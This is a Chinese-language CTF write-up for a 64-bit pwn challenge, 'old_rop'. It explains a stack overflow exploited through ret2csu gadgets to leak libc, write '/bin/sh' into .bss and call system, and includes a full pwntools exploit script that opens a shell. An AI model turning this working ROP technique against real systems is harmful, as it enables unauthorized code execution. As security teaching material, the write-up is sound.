old_rop
.png)
main函数:
.png)
sub函数:
.png)
我们没发现有system和/bin/sh,然后我们看代码,代码很简单,就是一个sub函数内的栈溢出,那我们的思路就是利用write@plt(1, write@got, 8)泄露libc基址,然后利用read@plt(0, bss_addr, 8)把/bin/sh存入可写的.bass段,然后调用system(bss_addr),我们知道在64位 Linux 中,函数调用的规定:第1个参数必须放在 rdi (edi 是 rdi的低32位),第2个参数必须放在 rsi,第3个参数必须放在 rdx,那我们就需要找到pop rdi ret、pop rsi ret、pop rdx ret和ret(栈对齐),然后构造rop链,但是我们开始找就会发现,我们缺少了pop rdx ret,这种情况下,常规的解法就是ret2csu,那我们就找gadget1和gadget2,我们找到了
.png)
以泄露libc地址为例,我讲讲泄露过程:
# 1.泄露 write 函数的真实地址
payload1 = b'A' * offset
payload1 += p64(csu_gadget_2)
payload1 += p64(0)
payload1 += p64(2)
payload1 += p64(1)
payload1 += p64(write_got)
payload1 += p64(8)
payload1 += p64(write_got)
payload1 += p64(csu_gadget_1)
payload1 += p64(0) * 7
payload1 += p64(vuln_func_addr)
p.sendafter(b"care about it !\x00\n", payload1)
leaked_write = u64(p.recv(8))
libc.address = leaked_write - libc.symbols['write']
system_addr = libc.symbols['system']我们的gadget1是从0x4012b0开始的,gadget2是从0x4012ca开始的,首先我们跳转到gadget,
我们把rbx设置成0这是为什么呢,是因为这个4012b9: 41 ff 14 df call QWORD PTR [r15+rbx*8],我们rbx=0的话,这个就相当于4012b9: 41 ff 14 df call QWORD PTR [r15],这是我们想要的,因为r15才是我们控制的
然后rbp设置为2,这是为什么呢,其实这里有一个陷阱, 4012bd: 48 83 c3 01 add rbx,0x1 ,我们的rbx现在变成了0,注意我们这里是4012c1: 48 39 dd cmp rbp,rbx | 4012c4: 74 ea je 4012b0 <read@plt+0x250>,第二个不是寻常的jne,假设是寻常的jne即4012c1: 48 39 dd cmp rbp,rbx | 4012c4: 74 ea jne 4012b0 <read@plt+0x250>,它比较rbp和rbx,如果不相等,就跳回去循环,我们这里是不想循环的,所以这种情况下我们要把rbp设置为1,而我们是je,je是如果两个相等就跳回去循环,所以我们要保证两个不相等,所以我们把rbp设置为2,是rbp与rdx不相等,不进入循环
我们前面提过要用write@plt(1, write@got, 8),那我们需要rdi=1(标准输出),rsi=write@got(这里因为程序前面已经调用过write了,所以这里是指向真实的wriet地址),rdx=8(泄露8字节),我们在gadget1中可以看到r12d(r12的低32位)--->edi,r13 --->rsi,r14 --->rdx,那我们就对应着填就行了
然后是r15,我们前面说了,现在是call QWORD PTR [r15],那我们就要把r15设置成我们想要调用的函数,这里是write,但是为什么这里是write@got而不是write@plt呢,原因就是这个方括号[r15],方括号的意思是不要调用 r15 这个地址,而是去 r15 这个地址,读取那里存放的指针(是我们输入的write@got),然后调用这个指针所指向的地址,就是调用write的地址,如果没有这个方括号而是call QWORD PTR r15,我们r15就要设置成write@plt(里面是一段代码),就直接执行wriet@plt了
然后ret到gadget1,开始执行我们前面准备好的一切,因为gadget2在gadget1后面,所以gadget1执行完后又会执行gadget2,这里的寄存器我们就设置成随意的值就行了,因为我们最后要再次返回sub函数的,它会一上来就建立自己的栈帧,改变一些寄存器的值,它没改变的寄存器的值又不会影响它的运行,这里设置成0比较方便和简洁。
那运行完后我们就得到了write函数的真实地址,就能算出libc基址,然后我们最后返回sub函数再次读取,这次我们还是一样,只是目的是把/bin/sh输入到.bss段罢了,就把write@plt(1, write@got, 8)改成read@plt(0, bss_addr, 8)就行了。
最后一次因为我们能找到pop rdi ret,所以就直接构造rop链调用system函数就行了
# 3. 调用 system('/bin/sh')
payload3 = b'A' * offset
payload3 += p64(ret_gadget)
payload3 += p64(pop_rdi_ret)
payload3 += p64(bss_addr)
payload3 += p64(system_addr)
p.send(payload3)
p.interactive()当我们执行pop rdi时,rsp指向bss_addr,这里已经被我们填充了/bin/sh,执行pop rdi后,/bin/sh就被复制到了rdi,rsp指向system,然后执行ret,system被复制到rip,执行system,它从rdi拿参数,也就是我们的/bin/sh了,于是我们就成功getshell了
EXP:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#p = remote('geek.ctfplus.cn',30439)
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
offset = 136
csu_gadget_1 = 0x4012b0
csu_gadget_2 = 0x4012ca
pop_rdi_ret = 0x4012d3
ret_gadget = 0x4010a0
# sub函数地址
vuln_func_addr = 0x401156
write_got = elf.got['write']
read_got = elf.got['read']
bss_addr = 0x404040
# 1.泄露 write 函数的真实地址
payload1 = b'A' * offset
payload1 += p64(csu_gadget_2)
payload1 += p64(0)
payload1 += p64(2)
payload1 += p64(1)
payload1 += p64(write_got)
payload1 += p64(8)
payload1 += p64(write_got)
payload1 += p64(csu_gadget_1)
payload1 += p64(0) * 7
payload1 += p64(vuln_func_addr)
p.sendafter(b"care about it !\x00\n", payload1)
leaked_write = u64(p.recv(8))
libc.address = leaked_write - libc.symbols['write']
system_addr = libc.symbols['system']
# 2. 写入 '/bin/sh' 到 .bss 段
payload2 = b'A' * offset
payload2 += p64(csu_gadget_2)
payload2 += p64(0)
payload2 += p64(2)
payload2 += p64(0)
payload2 += p64(bss_addr)
payload2 += p64(8)
payload2 += p64(read_got)
payload2 += p64(csu_gadget_1)
payload2 += p64(0) * 7
payload2 += p64(vuln_func_addr)
p.send(payload2)
p.send(b'/bin/sh\x00')
# 3. 调用 system('/bin/sh')
payload3 = b'A' * offset
payload3 += p64(ret_gadget)
payload3 += p64(pop_rdi_ret)
payload3 += p64(bss_addr)
payload3 += p64(system_addr)
p.send(payload3)
p.interactive()题目链接:
CTF-Writeups/第十六届极客大挑战/old_rop at main · ZenDuk17/CTF-Writeups